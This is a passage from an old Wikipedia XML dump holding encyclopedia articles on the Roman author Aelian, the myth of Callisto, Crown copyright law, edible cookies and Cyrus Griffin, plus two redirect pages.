      <text xml:space="preserve">:''[[Aelianus Tacticus]], Greek military writer of the 2nd century CE, resident at Rome, is sometimes confused with Claudius Aelianus.''

'''Claudius Aelianus''' (c. [[175]] - c. [[235]]), often seen as just '''Aelian''', born at [[Praeneste]], was a Roman author and teacher of [[rhetoric]] who flourished under [[Septimius Severus]] and probably outlived [[Elagabalus]], who died in 222. He spoke [[Greek language|Greek]] so perfectly that he was called &quot;honey-tongued&quot; (''meliglossos''); Roman-born, he preferred Greek authors, and wrote in a slightly archaizing Greek himself.

His two chief works are valuable for the numerous quotations from the works of earlier authors, which are otherwise lost, and for the surprising lore, which offers unexpected glimpses into the Greco-Roman world-view. 

==''De Natura Animalium (&amp;Pi;&amp;epsilon;&amp;rho;&amp;iota; &amp;Zeta;&amp;omega;&amp;omega;&amp;nu; &amp;Iota;&amp;delta;&amp;iota;&amp;omicron;&amp;tau;&amp;eta;&amp;tau;&amp;omicron;&amp;sigmaf;)''==
''On the Nature of Animals,'' (&quot;On the Characteristics of Animals&quot; is an alternative title; usually cited, though, by its Latin title), is a curious collection, in 17&amp;nbsp;books, of brief stories of natural history, sometimes selected with an eye to conveying allegorical moral lessons, sometimes because they are just so astonishing:
:&quot;The Beaver is an amphibious creature: by day it lives hidden in rivers, but at night it roams the land, feeding itself with anything that it can find. Now it understands the reason why hunters come after it with such eagerness and impetuosity, and it puts down its head and with its teeth cuts off its testicles and throws them in their path, as a prudent man who, falling into the hands of robbers, sacrifices all that he is carrying, to save his life, and forfeits his possessions by way of ransom. If however it has already saved its life by self-castration and is again pursued, then it stands up and reveals that it offers no ground for their eager pursuit, and releases the hunters from all further exertions, for they esteem its flesh less. Often however Beavers with testicles intact, after escaping as far away as possible, have drawn in the coveted part, and with great skill and ingenuity tricked their pursuers, pretending that they no longer possessed what they were keeping in concealment.&quot;

The [[Loeb Classical Library]] introduction characterizes the book as
:&quot;an appealing collection of facts and fables about the animal kingdom that invites the reader to ponder contrasts between human and animal behavior.&quot;

Aelian's anecdotes on animals rarely depend on direct observation: they are almost entirely taken from written sources, often [[Pliny the Elder]], but also other authors and works now lost, to whom he is thus a valuable witness. He is more attentive to marine life than might be expected, though, and this seems to reflect first-hand personal interest; he often quotes &quot;fishermen&quot;. At times he strikes the modern reader as thoroughly credulous, but at others he specifically states that he is merely reporting what is told by others, and even that he does not believe them. Aelian's work is one of the sources of medieval natural history and of the [[Bestiary|bestiaries]] of the Middle Ages; in some ways an allegory of the moral world, an [[Emblem]] Book. 

[[Conrad Gessner]] (or Gesner), the Swiss scientist and natural historian of the Renaissance, made a Latin translation of Aelian's work, to give it a wider European audience. The latest Latin translation is that of Friderich Jacobs (1832), based on both Gesner's translation and that of Petrus Gillius (1533). An English translation by A.&amp;nbsp;F.&amp;nbsp;Scholfield has been published in the Loeb Classical Library.

==''Varia Historia (&amp;Pi;&amp;omicron;&amp;iota;&amp;kappa;&amp;iota;&amp;lambda;&amp;eta; &amp;Iota;&amp;sigma;&amp;tau;&amp;omicron;&amp;rho;&amp;iota;&amp;alpha;)''==
''Various History'' &amp;#8212; for the most part preserved only in an abridged form &amp;#8212; is Aelian's other well-known work, a miscellany of anecdotes and biographical sketches, lists, pithy maxims, and descriptions of natural wonders and strange local customs, in 14&amp;nbsp;books, with many surprises for the cultural historian and the [[mythographer]], anecdotes about the famous Greek philosophers, poets, historians, and playwrights; myths instructively retold. The emphasis is on ''various'' moralizing tales about heroes and rulers, athletes and wise men; reports about food and drink, different styles in dress or lovers, local habits in giving gifts or entertainments, or in religious beliefs and death customs; and comments on Greek painting. Aelian gives an account of fly fishing, using lures of red wool and feathers, of lacquerwork, [[Serpent (symbolism)|serpent]] worship &amp;#8212; Essentially the ''Various History'' is a Classical &quot;[[magazine]]&quot; in the original senses of that word. He is not perfectly trustworthy in details, and his agenda is always to inculcate culturally &quot;correct&quot; [[Stoicism|Stoic]] opinions, perhaps so that his readers will not feel guilty, but [[Jane Ellen Harrison]] found survivals of archaic rites mentioned by Aelian very illuminating in her ''Prolegomena to the Study of Greek Religion'' (1903).

Two English translations of the ''Various History,''  by Fleming (1576) and Stanley (1665) made Aelian's miscellany available to English readers; a recent English translation of Aelian's ''Varia Historia'' is by Diane Ostrom Johnson, 1997.
 
Considerable fragments of two other works, ''On Providence'' and ''Divine Manifestations'', are preserved in the early medieval encyclopedia, the ''[[Suda]].''  Twenty &quot;letters from a farmer&quot; after the manner of [[Alciphron]] are also attributed to him. The letters are invented compositions to a fictitious correspondent, which are a device for vignettes of agricultural and rural life, set in Attica, though mellifluous Aelian once boasted that he had never been outside Italy, never been aboard a ship (which is at variance, though, with his own statement, de Nat. An. XI.40, that he had seen the bull [[Serapis]] with his own eyes). Thus conclusions about actual agriculture in the ''Letters'' are as likely to evoke [[Latium]] as [[Attica]]. The fragments have been edited in 1998 by D. Domingo-Foraste, but are not available in English. The ''Letters'' are available in the Loeb Classical Library series. 

==Reference==
''Encyclopaedia Britannica'', 1911.

==External links==
*[http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Aelian/home.html ''De natura animalium'' at LacusCurtius] (complete Latin translation)
*[http://www.wayward.com/animal.htm Some quotes from Aelian's natural history] (English)
*[http://www.flyfishinghistory.com/aelian.htm Aelian from the fly-fisherman's point-of-view]

[[Category:Ancient Roman rhetoricians|Aelianus, Claudius]]
[[Category:Latin authors|Aelianus, Claudius]]

[[es:Claudio Eliano]]
[[fr:Élien]]
[[it:Claudio Eliano]]</text>
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  </page>
  <page>
    <title>Callisto (mythology)</title>
    <id>7214</id>
    <revision>
      <id>38298344</id>
      <timestamp>2006-02-05T11:22:41Z</timestamp>
      <contributor>
        <ip>81.182.163.21</ip>
      </contributor>
      <text xml:space="preserve">''This article is about the mythological figure. For other meanings, see [[Callisto]].''

From [[Greek mythology]], '''Callisto''' was the daughter of [[Lycaon]], the king of [[Arcadia]], and possibly a [[nymph]]. Her name is derived from ''kalliste'' (καλλιστη), meaning &quot;most beautiful.&quot;

==The myth==
A follower of [[Artemis]], she took a vow to remain a virgin. But [[Zeus]] fell in love with her and disguised himself as [[Apollo (god)|Apollo]] in order to lure her into his embrace. [[Hera]], Zeus' wife, then turned Callisto into a [[bear]] out of revenge.  Later, [[Arcas]], the son of Callisto and Zeus, nearly killed her in a hunt but Zeus placed them both in the sky as the [[constellation|constellations]] [[Ursa Major]] and [[Ursa Minor]].

An alternate version:  One of Artemis' companions, Callisto lost her virginity to Zeus, who had come disguised as Artemis.  Enraged, Artemis changed her into a bear.  Callisto's son, Arcas, nearly killed his mother while hunting, but Zeus or Artemis stopped him and placed them both in the sky as Ursa Major and Ursa Minor.

Another alternate version:  Artemis killed Callisto in bear form, deliberately.

Hera was not pleased with the placement of Callisto and Arcas in the sky, so she asked her nurse, [[Tethys (mythology)|Tethys]], to help.  Tethys, a marine goddess, cursed the constellations to forever circle the sky and never drop below the horizon, hence explaining why they are circumpolar.

==Origin of the myth==
The myth may be derived from the fact that a set of constellations appear close together in the sky, in and near the [[Zodiac]] sign of [[Libra]], namely [[Ursa Minor]], [[Ursa Major]], [[Boötes]], and [[Virgo]].

Boötes, since it resembles a male [[stick-figure]], is in some versions of the myth explicitly identified as Arcas (untransformed), and was in myths elsewhere said represents a male god. Virgo, since it resembles a female, was usually considered to be a significant female goddess, though not identified as to whom. 

The combination of a god and goddess and two bears in the same area of sky may have led to a transformation myth, associating the bears either as the god and goddess transformed, or as some thing they have cast out. The circumpolarity of the bears adding an extra detail to the myth.

== External links ==
{{Commonscat|Callisto (mythology)}}
* Richard Wilson's [http://www.liverpoolmuseums.org.uk/picture-of-month/displaypicture.asp?venue=7&amp;id=130 'Landscape with Diana and Callisto'] at the [http://www.liverpoolmuseums.org.uk/ladylever/index.asp Lady Lever Art Gallery]

[[Category:Greek mythological people]]
[[Category:Shapeshifting]]
[[Category:Fictional bears]]
[[de:Kallisto (Mythologie)]]
[[el:Καλλιστώ (μυθολογία)]]
[[es:Calisto (mitología)]]
[[fr:Callisto (mythologie)]]
[[hr:Kalisto (mitologija)]]
[[hu:Kallisztó]]
[[it:Callisto]]
[[he:קליסטו (מיתולוגיה)]]
[[la:Callisto]]
[[lt:Kalista]]
[[ja:カリスト]]
[[pl:Kallisto (mitologia)]]
[[pt:Calisto]]
[[ru:Каллисто]]
[[sv:Kallisto]]
[[zh:卡利斯托]]</text>
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  </page>
  <page>
    <title>Callisto the moon</title>
    <id>7215</id>
    <revision>
      <id>15905293</id>
      <timestamp>2002-03-06T20:44:41Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#REDIRECT [[Callisto (moon)]]</comment>
      <text xml:space="preserve">#REDIRECT [[Callisto (moon)]]
 </text>
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  </page>
  <page>
    <title>Centromer</title>
    <id>7216</id>
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      <id>15905294</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Centromere]]
</text>
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  </page>
  <page>
    <title>Crown copyright</title>
    <id>7217</id>
    <revision>
      <id>40908401</id>
      <timestamp>2006-02-23T20:46:59Z</timestamp>
      <contributor>
        <username>Ncox</username>
        <id>36729</id>
      </contributor>
      <minor />
      <comment>/* Exceptions */</comment>
      <text xml:space="preserve">'''Crown copyright''' is a form of [[copyright]] claim used by the governments of the [[United Kingdom]] and a number of other [[Commonwealth realms]].

==In the United Kingdom==

Crown copyright applies to all works produced by the [[British Government]], subject to the condition that the qualification &quot;Where a work is made by Her Majesty or by an officer or servant of the Crown in the course of his duties&quot; is met. The Crown can also have copyrights assigned to it. There is also a small class of materials where the Crown claims the right to control reproduction outside normal copyright law due to [[Letters patent|Letters Patent]] issued under the [[royal prerogative]]. This material includes the [[King James Bible]], and the [[Book of Common Prayer]].

Prior to the [[17th century]], the [[Executive (government)|executive]] - acting on behalf of the [[monarch]], under the royal prerogative - controlled all printing, and the granting of licences to printers. During the [[17th century]], the Crown lost most of its rights, except with regard to the King James Bible, the Book of Common Prayer, [[Acts of Parliament]] and similar. Until [[1911]], there was no special status for the Crown, excepting those texts.

The Copyright Act 1911 (the [[1911]] [[Act of parliament|Act]]), removed the concept of common law copyright protection from [[British law]], and it also provided specific protection for government works for the first time. Crown copyright was defined to extend to any work prepared or published by or under the direction or control of [[George V of the United Kingdom|His Majesty]] or any Government department. The Copyright Act 1956 (the [[1956]] Act) further extended Crown copyright protection by extending the definition to include every original literary, dramatic, musical or artistic work made by or under the direction or control of [[Elizabeth II of the United Kingdom|Her Majesty]] or a Government department; sound recordings or cinematograph films made by or under the direction or control of Her Majesty or a Government department and works first published in the UK, if first published by or under the direction or control of Her Majesty or a Government department.

When the Copyrights Designs and Patents Act 1988 (the [[1988]] Act) came into force, the scope of the definition of Crown copyright was considerably reduced. Crown copyright was defined as subsisting when a &quot;work is made by Her Majesty or by an officer or servant of the Crown in the course of his duties&quot;. Crown copyright was also defined as subsisting &quot;in every Act of Parliament, Act of the [[Scottish Parliament]], Act of the [[Northern Ireland Assembly]] or Measure of the General Synod of the [[Church of England]]&quot;. All existing works in Crown copyright were continued as such.

However, some documents have Crown Copyright waived by the government, subject to certain conditions. This was introduced in a [[white paper]] in [[2000]] in order to improve access to government publications. There are 11 classes of copyrights for which waivers are granted. The document concerned, from [[Her Majesty's Stationery Office]] (HMSO), is [http://www.hmso.gov.uk/archives/copyright/future_management_cc.doc Future Management of Crown Copyright]. Which documents are subject to waivers varies from time to time. [http://www.opsi.gov.uk/advice/crown-copyright/copyright-guidance/index.htm The current list] may be found on the official site.

Websites are reproducible unless otherwise indicated, but HMSO has stated in correspondence that they do not consider material under Crown Copyright redistributable under such licenses as the [[GNU Free Documentation License|GFDL]]. For example, documents on the website of the [http://www.pro.gov.uk/default.htm Public Records Office]&quot;  are subject to the following conditions:

&lt;blockquote&gt;The material featured on this site is subject to Crown copyright protection unless otherwise indicated. The Crown copyright protected material (other than the Royal Arms and departmental or agency logos) may be reproduced free of charge in any format or medium provided it is reproduced accurately and not used in a misleading context. Where any of the Crown copyright items on this site are being republished or copied to others, the source of the material must be identified and the copyright status acknowledged.&lt;/blockquote&gt;

&lt;blockquote&gt;Images on this site may not be reproduced without payment of a fee to the Image Library.&lt;/blockquote&gt;

&lt;blockquote&gt;The permission to reproduce Crown protected material does not extend to any material on this site which is identified as being the copyright of a third party. Authorisation to reproduce such material must be obtained from the copyright holders concerned.&lt;/blockquote&gt;

The duration of Crown copyright varies depending whether material is published or unpublished. Unpublished material was originally subject to copyright protection in perpetuity. However, the 1988 Act removed this concept from British law. Transitional provisions apply for 50 years after the entry into force of the 1988 Act which mean that no unpublished material will lose its copyright protection until [[January 1]], [[2040]]. New Crown copyright material that is unpublished has copyright protection for 125 years from date of creation. Published Crown copyright material has protection for 50 years from date of publication. Those works protected under Letters Patent have perpetual copyright claimed over them despite being published. Works where copyright is assigned to the Crown by an author are subject to the normal term of protection for that particular type of work, for example life of the author plus 70 years for a literary work.

==In Australia==
Pursuant to part VII of the ''[[Copyright Act 1968]]'', the [[Australian Government]] owns copyright in any work, film or sound recording made by or under the direction or control of the Government, and any work first published by or under the direction or control of the Government.

An extensive review was carried out in 2004 and the fidings were published in 2005 in the [http://www.clrc.gov.au/agd/WWW/clrHome.nsf/AllDocs/4F25A124B6E6F1A4CA256FDB0015D5A7?OpenDocument Copyright Law Review Committee's report]. The chief recommendation was to end the distinction between the Crown and other copyright holders. In particular, the Committee was &quot;emphatic&quot; that the Crown lose its unique position of gaining copyright over material whenever it is the first publisher of such material. (For example, a previously unpublished short story, upon being published in a government work, would cease to belong to the author and would instead become Crown copyright, denying the author any future royalties.)

==In Canada==

Under section 12 of the [[Copyright Act of Canada|Copyright Act]], the government reserves its rights with respect to all documents produced by the [[Government of Canada]]. 
:''12. Without prejudice to any rights or privileges of the Crown, where any work is, or has been, prepared or published by or under the direction or control of Her Majesty or any government department, the copyright in the work shall ... belong to Her Majesty and ... shall continue for the remainder of the calendar year of the first publication of the work and for a period of fifty years following the end of that calendar year''
The Crown's ownership in its works is no more limited than those of any private persons. In practice, government materials are often licensed to the public for non-commercial use under the conditions that 1) due diligence is taken to ensure accuracy, 2) the source is identified, and 3) the material is not represented as an official version. Absent any licence available from the source of the material, there is no presumption that any government material is  subject to such a licence.

Enforcement of this right has been relatively infrequent and so its effectiveness remains uncertain for certain materials. However, this is not true for some material. In the past few years the Crown has exercised its rights with respect to nautical maps which have been used for commercial companies for oil and gas exploration. This suggests that their right in crown copyright is likely enforceable.

In Canada, leaving aside the question of Crown prerogative, the federal government has legislative authority for copyright in the law.  Section 12 of the Copyright Act is the provision dealing with Crown copyright. This section gives copyright to the Crown in works that are “prepared or published by or under the direction or control of Her Majesty or any government department.”  

===Exceptions===
In [[1996]] the &quot;Reproduction of Federal Law Order&quot;[http://laws.justice.gc.ca/en/otherreg/SI-97-5/189099.html] was introduced by the federal government which gave permission for the public to reproduce federal legislation and regulations, as well as decisions by federally-enacted court and tribunals (eg. the Supreme Court, appellate courts). The only condition is that [[due diligence]] be taken to ensure accuracy and the document is not represented as an official version. Nevertheless, the order is only a [[licence]] to copy, thus the government can revoke future copying at its own discretion. Furthermore, the government still reserves its [[moral rights]]. 

None of the provinces have introduced such a licencing scheme for their government documents. Instead, some provinces, such as [[Ontario]], allow copying only under the condition that the document clearly acknowledges its unofficial nature and that it is labeled with the year of publication such as:
:''© Queen's Printer for Ontario, 20—. This is an unofficial version of Government of Ontario legal materials.''

The Information Highway Advisory Council, in its 1995 Final Report,  recommended that Crown copyright generally, and not specifically in relation to the laws, should be maintained, but that the Crown in Right of [[Canada]] should, as a rule, place federal government information and data in the public domain. 

It was also recommended that where Crown copyright is asserted for generating revenue, licensing should be based on the principles of non-exclusivity and the recovery of no more than the marginal costs incurred in the reproduction of the information or data ... the federal government should create and maintain an inventory of Crown works covered by intellectual property that is of potential interest to the learning community and the information production sector at large; negotiate nonexclusive licenses for their use on the basis of cost recovery for digitization, processing and distribution; and invite provincial and territorial governments to provide similar services. 

The [[Yukon Territory]] and the federal government take the most liberal approach to Crown copyright in statutes and regulations, by permitting anyone to make copies without permission for any purpose – except commercial – while the other jurisdictions make fairly strongly worded prohibitions against copying the laws for anything other than personal use. It appears that perhaps the intent of these notices is to prevent copying by commercial publishers of the electronic version as prepared by the government, while permitting commercial publishers to manually type (or optically scan) the text of statutes if they wish to publish individual statutes (presumably with some value added to the raw legislative text). 

Because the federal government was the leader in publishing statutes and regulations for free in Canada, and is responsible for the Copyright Act, it is important to take note of the Reproduction of Federal Law Order, PC 1996-1995, 19 December 1996.  The preamble states the basic principles that support the copyright notice. 

Whereas it is of fundamental importance to a democratic society that its law be widely known and that its citizens have unimpeded access to that law …. Anyone may, without charge or request for permission, reproduce enactments and consolidations of enactments of the Government of Canada, and decisions and reasons for decisions of federally-constituted courts and administrative tribunals, provided due diligence is exercised in ensuring the accuracy of the materials reproduced and the reproduction is not represented as an official version. 

The federal Department of Justice has granted a free licence for copying federal law. 

The Yukon Territory has perhaps the simplest copyright notice of all Canadian jurisdictions: “The legal material on this site may be reproduced, in whole or in part and by any means, without further permission from Yukon Justice.” 

By contrast, the other jurisdictions in Canada all restrict copying for commercial purposes (and sometimes for other purposes as well). One can speculate that the reason that some provinces assert copyright and limit electronic access to the law is to sell legal texts to legal publishers and the law profession. To ensure governments have something to sell, it is necessary to impose copyright limits and to ensure that the electronic access to the law that is provided is not as functional as it could be. 

It should also be noted that governments are increasingly limiting the paper production and distribution of their laws and court decisions. This makes it all the more important for governments to provide the maximum access to electronic versions of the law. 

Perhaps the most detailed copyright notice is from British Columbia, which refers to matters of ownership, reproduction, distribution, sale private study, and so on. It even tells the reader who to contact if they have any questions, and how to do so. 

See also the copyright notices from Ontario,  [[Alberta]], [[New Brunswick]],  [[Newfoundland]],  [[Nova Scotia]],  [[Quebec]]  and the [[Northwest Territories]].  

As would be expected, jurisdictions that do not publish their statutes for free on the Internet have tougher copyright notices. 

The [[British Columbia]] Superior Courts notice reads: 

:''The decisions of the Superior Courts are made available on the Internet for the purpose of public information and research. The material on the database/web site may be used without permission provided that the material is accurately reproduced and an acknowledgement of the source of the work is included. Copying of the materials, in whole or in part, for resale or other commercial purposes is strictly prohibited unless authorized by the Superior Courts.''

The question of who owns copyright in statutes and court and administrative tribunal decisions is one that is rarely litigated. It has been used by some governments to justify a refusal to publish the laws electronically and to justify using the laws to generate revenues. One way to challenge these arguments is to question the legal theory of copyright in the laws, but perhaps the better way is to focus on the policy choices and arguments relating to access to the laws. 

In ''Tolmie v Attorney-General of Canada'', Oct. 14, 1997 (F.C.T.D.), McGillis J dealt with a case where Mr. Tolmie requested, on 6 January 1995, under the Access to Information Act, the Revised Statutes of Canada in electronic form. “The preferred format is the existing WordPerfect 5.1 format that is presently used within Justice Canada for creating the Statutes. However, alternative formats such as the Folio format used on the CD-ROM produced for this purpose would be acceptable.”  On 20 August 1995, the [[Department of Justice]] published the electronic statutes and announced they would soon be published on CD-ROM, which occurred in October 1995. The CD-ROM was priced at $225.00. McGillis J rejected Mr. Tolmie’s request on the grounds that the statutes were publicly available in electronic format and therefore excluded from the application of the Act under s 68(a).

==In New Zealand==

Crown copyright in [[New Zealand]] is defined by Sections 2(1), 26 and 27 of the ''Copyright Act 1994''. The Crown is the first owner of any copyright subsisting in any work created by a person who is employed or engaged by the Crown, under a contract of service, apprenticeship, or a contract for services. It covers works of the Queen in right of New Zealand, Ministers of the Crown, offices of Parliament and government departments. For [[Crown entities]] and [[State-owned enterprises]], however, regular copyright provisions apply instead.

A term of 100 years applies under Section 26(3)(b), with the exception 25 years for typographical arrangements of published material.

At common law, and under the Copyright Acts until recently, the Crown acquired title by a kind of prerogative copyright in certain books or publications such as Acts of Parliament, Proclamations, and Orders in Council. However, there has been a deliberate divestment by the Crown of its copyright in law – principally in light of the policy considerations which hold that law should be freely available. 

Section 27(1) defines a further exception to Crown copyright and copyright -- Bills, Acts of Parliament, regulations, bylaws, Hansard, tabled select committee reports, court judgments, tribunal judgments, Royal commission reports, commission of inquiry reports, ministerial inquiry reports and statutory inquiry reports do not carry any copyright, regardless of age. Section 27(1) came into effect on [[1 April]] [[2001]]. There is, in New Zealand, under s 27 of the Copyright Act 1994, no copyright in regulations.

Of course, the Section 27(1) exceptions apply in the original work, and do not apply in terms of new typographical editions by others, nor in annotations made by organisations such as legal publishers.

==External links==

* [http://cgp-egc.gc.ca/copyright/application-e.pdf Application to obtain copyright licence from Canadian government] (PDF file)
* Sterling, J.A.L. &quot;[http://www.lexum.umontreal.ca/conf/dac/en/sterling/sterling.html Crown Copyright in the United Kingdom and other Commonwealth Countries]&quot;.
* Vaver, David. &quot;[http://www.lexum.umontreal.ca/conf/dac/en/vaver/vaver.html Copyright and the state in Canada and the United States]&quot;.
* Intellectual Property Policy Group, Ministry of Economic Development, New Zealand. [http://www.med.govt.nz/buslt/int_prop/info-sheets/copyright-prot.html#P27_4364 What Does Not Qualify for Copyright Protection?] (from ''[http://www.med.govt.nz/buslt/int_prop/info-sheets/copyright-prot.html Copyright Protection in New Zealand]'').
* Ah Kit, Jonathan. ''[http://www.ibiblio.org/ahkitj/section27/ Section 27 and Public Domain Page]''.

==See also==

* [[Parliamentary copyright]]
* [[Work of the United States Government]]

[[Category:Copyright law]]
[[Category:United Kingdom law]]
[[Category:Canadian copyright law]]</text>
    </revision>
  </page>
  <page>
    <title>Cookie</title>
    <id>7218</id>
    <revision>
      <id>42061328</id>
      <timestamp>2006-03-03T15:14:54Z</timestamp>
      <contributor>
        <username>UkPaolo</username>
        <id>269651</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/213.249.155.231|213.249.155.231]] ([[User talk:213.249.155.231|talk]]) to last version by Rmhermen</comment>
      <text xml:space="preserve">:''This page is about edible cookies.  For other uses, see [[Cookie (disambiguation)]]''
[[Image:Choco chip cookie.jpg|thumb|275px|A chocolate chip cookie]]
In the [[United States]] and [[Canada]], a '''cookie''' is a small, flat [[baking|baked]] [[cake]].&lt;br&gt;
In [[Commonwealth English]], they are called '''[[biscuit]]s'''.

==Origin of name==
Its name derives from the [[Dutch language|Dutch]] word ''koekje'' which means ''little cake'', and arrived in the [[English language]] via the [[Scots language]], rather than directly from the Dutch. In [[Scottish English]] the word denotes a small [[Scone (bread)|scone]]-like cake or bun, often filled with cream.

Cookies were first made from little pieces of [[cake]] batter that were cooked separately in order to test oven temperature. The ancestor of the cookie is said to have come from [[Iran|Persia]] in the 1600s according to many sources. [http://whatscookingamerica.net/History/CookieHistory.htm (example)] [http://www.kitchenproject.com/history/cookies.htm 2]

==Recipe==
Cookies can be baked until crisp or just long enough that they remain soft, depending on the type of cookie. Some cookies are not cooked at all. Cookies are made in a wide variety of styles, using an array of ingredients including [[sugar]]s, [[spice]]s, [[chocolate]], [[butter]], [[peanut butter]], [[nut (fruit)|nut]]s or dried [[fruit]]s.

A general theory of cookies may be formulated this way. Despite their descent from cakes and other sweetened breads, the cookie in almost all its forms has abandoned water as a medium for cohesion. Water in cakes serves to make the base (in the case of cakes called 'batter') as thin as possible, which allows the bubbles &amp;ndash; responsible for a cake's fluffiness &amp;ndash; to form better. In the cookie the agent of cohesion has become some variation of the theme of oil. Oils, be they in the form of butter, egg yolks, vegetable oils or lard are much more viscous than water and evaporate freely at a much higher temperature than water. Thus a cake made with butter or eggs instead of water is far denser after removal from the oven.

Oils in baked cakes do not behave as water in the finished product. Rather than evaporating and thickening the mixture, they remain, saturating the bubbles of escaped gasses from what little water there might have been in the eggs, if added, and the [[carbon dioxide]] released by heating the [[baking powder]]. This saturation produces the most texturally attractive feature of the cookie, and indeed all fried foods: crispness saturated with a moisture (namely oil) that does not sink into it. 

Obviously there is some variation in that some cookies are purposely undercooked to retain a water-moist center.

==Classification of cookies==
[[Image:cookieplateful.jpg|thumb|300px|Eight types of cookies|left]]
Cookies are broadly classified according to how they are formed, including at least these categories:
* ''Drop cookies'' are made from a relatively soft dough that is dropped by spoonfuls onto the baking sheet.  During baking, the mounds of dough spread and flatten.  [[Chocolate chip cookie]]s are an example of drop cookies.

* ''Refrigerator cookies'' are made from a stiff dough that is refrigerated to become even stiffer.  The dough is typically shaped into cylinders which are sliced into round cookies before baking.  

* ''Molded cookies'' are also made from a stiffer dough that is molded into balls or cookie shapes by hand before baking.  [[Snickerdoodle|Snickerdoodles]] are an example of molded cookies.

* ''Rolled cookies'' are made from a stiffer dough that is rolled out and cut into shapes with a [[cookie cutter]].  [[Gingerbread man|Gingerbread men]] are an example.

* ''Pressed cookies'' are made from a soft dough that is extruded from a [[cookie press]] into various decorative shapes before baking.  [[Spritzgebäck]] are an example of a pressed cookie.

* ''Bar cookies'' consist of batter or other ingredients that are poured or pressed into a pan (sometimes in multiple layers), and cut into cookie-sized pieces after baking.  [[Chocolate brownies|Brownies]] are an example of a batter-type bar cookie, while [[Rice Krispie treats]] are a bar cookie that doesn't require baking, perhaps similar to a [[cereal bar]]. In [[British English]], bar cookies are known as &quot;tray bakes&quot;.

Commercially-produced cookies include many varieties of ''sandwich cookies'' filled with [[marshmallow]], [[jam]], or [[icing (food)|icing]], as well as cookies covered with [[chocolate]] which may more closely resemble a type of [[confectionery]].

==Biscuits (cookies) in the United Kingdom==
 
A basic biscuit (cookie) recipe includes [[flour]], [[shortening]] (often lard), [[baking powder]] or soda, [[milk]] ([[buttermilk]] or sweet milk) and [[sugar]].  Common savoury variations involve substituting [[sugar]] with an ingredient such as [[cheese]].  (In the U.S., these are called &quot;[[cheese straws]]&quot;.)

One of the most popular biscuits is the Jammie Dodger, two sweet biscuits sandwiching a jam filling. The jammie dodger most commonly has a heart shaped hole in the middle. The biscuits in the UK are mainly madeby Burton's Foods who also produce the popular Wagon Wheel, two sandwiched biscuits filled with marshmallow and coated in milk chocolate.

===Varieties===
Common biscuit (cookie) types include:
&lt;p&gt;&lt;/p&gt;
{| style=&quot;background-color: transparent; width: {{{width|100%}}}&quot;
&lt;p&gt;&lt;/p&gt;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
*[[Bath Oliver]] biscuits 
*[[Bourbon biscuit]]s
*[[Cream cracker]]s
*[[Custard cream]]s
*[[Broken biscuits]]

&lt;p&gt;&lt;/p&gt;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
*[[Digestive biscuit]]s
*[[Chocolate digestive]]s
*[[Hobnobs]]
*[[Lincoln biscuit]]s
*[[Nice biscuit]]s

&lt;p&gt;&lt;/p&gt;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
*[[Ginger biscuits]]
*[[Rich tea]]
*[[Shortbread]]
&lt;p&gt;&lt;/p&gt;
|}

==See also==

* [[American and British English differences]]
* [[List of brands of biscuit|List of brands of UK biscuits (cookies)]]
* [[Biscotti]], a twice-baked, hard [[Italian cuisine|Italian]] cookie
* [[Cookie Monster]] 
* [[Cookie cutter]]
* [[Cookie exchange]]
* [[Girl Scout cookie|Girl Scout Cookies]]

==Exterior links==
* [http://whatscookingamerica.net/History/CookieHistory.htm Cookie History]
* [http://www.nicecupofteaandasitdown.com/ Site devoted to Tea and Biscuits (cookies)]

{{wiktionary}}
{{cookbook}}
{{wikiquote}}

[[Category:Cookies| ]]
[[Category:Desserts]]
[[Category:Dutch loanwords]]
[[Category:Snack foods]]

[[da:Småkage]]
[[de:Keks]]
[[es:Galleta]]
[[fr:Cookie (cuisine)]]
[[ko:쿠키]]
[[he:עוגייה]]
[[nl:Koek]]
[[pt:Bolacha]]
[[fi:Keksi]]
[[th:คุกกี้]]
[[zh:曲奇]]</text>
    </revision>
  </page>
  <page>
    <title>Cyrus Griffin</title>
    <id>7219</id>
    <revision>
      <id>33160027</id>
      <timestamp>2005-12-29T20:28:21Z</timestamp>
      <contributor>
        <username>Nunh-huh</username>
        <id>41723</id>
      </contributor>
      <comment>George Washington was in no way a successor to Cyrus Griffin</comment>
      <text xml:space="preserve">'''Cyrus Griffin''' ([[1749]]&amp;ndash;[[December 14]], [[1810]]) was the tenth and last [[President of the United States in Congress assembled]] under the [[Articles of Confederation]], holding office from [[January 22]], [[1788]] to [[March 4]], [[1789]]. He was preceded in office by [[Arthur St. Clair]]. Upon the approval of the [[United States Constitution]], his position was eliminated.

Griffin was born in [[Farnham,Virginia]] in [[1749]]. He was educated in [[England]] and while there married Christine Stewart, daughter of [[James Stewart, 6th Earl of Traquair|the sixth Earl of Traquair]]. He was a member of the Virginia legislature and a delegate to the [[Continental Congress]] in [[1778]]--[[1781]] and in [[1787]]--[[1788]].  He was president of the Supreme Court of the Admiralty from its creation until its abolition, was commissioner to the [[Creek (people)|Creek]] nation in 1789, and was judge of the United States court for the district of Virginia from December [[1789]], until his death (in [[Yorktown, Virginia]]) on [[December 14]], [[1810]].

While numerous trivia buffs and inaccurate websites insist that Griffin was (the seventh or tenth) ''President of the United States'', he was in fact the last President of Congress under the [[Articles of Confederation]]. Historians note that his title and responsibilities were different from the office of President that was created by the United States Constitution.

{{start box}}
{{succession box| title=[[President of the Continental Congress|President of the United States in Congress Assembled]]| before=[[Arthur St. Clair]]| after=''(none)'' &lt;sup&gt;(a)&lt;/sup&gt;| years=[[January 22]], [[1788]] &amp;ndash; [[November 2]], [[1788]]}}
{{succession footnote| marker=&lt;sup&gt;(a)&lt;/sup&gt;| footnote=The position of President of the United States in Congress Assembled was abolished under the new [[United States Constitution]].}}
{{end box}}

[[Category:1749 births|Griffin, Cyrus]]
[[Category:1810 deaths|Griffin, Cyrus]]
[[Category:Continental Congressmen|Griffin, Cyrus]]

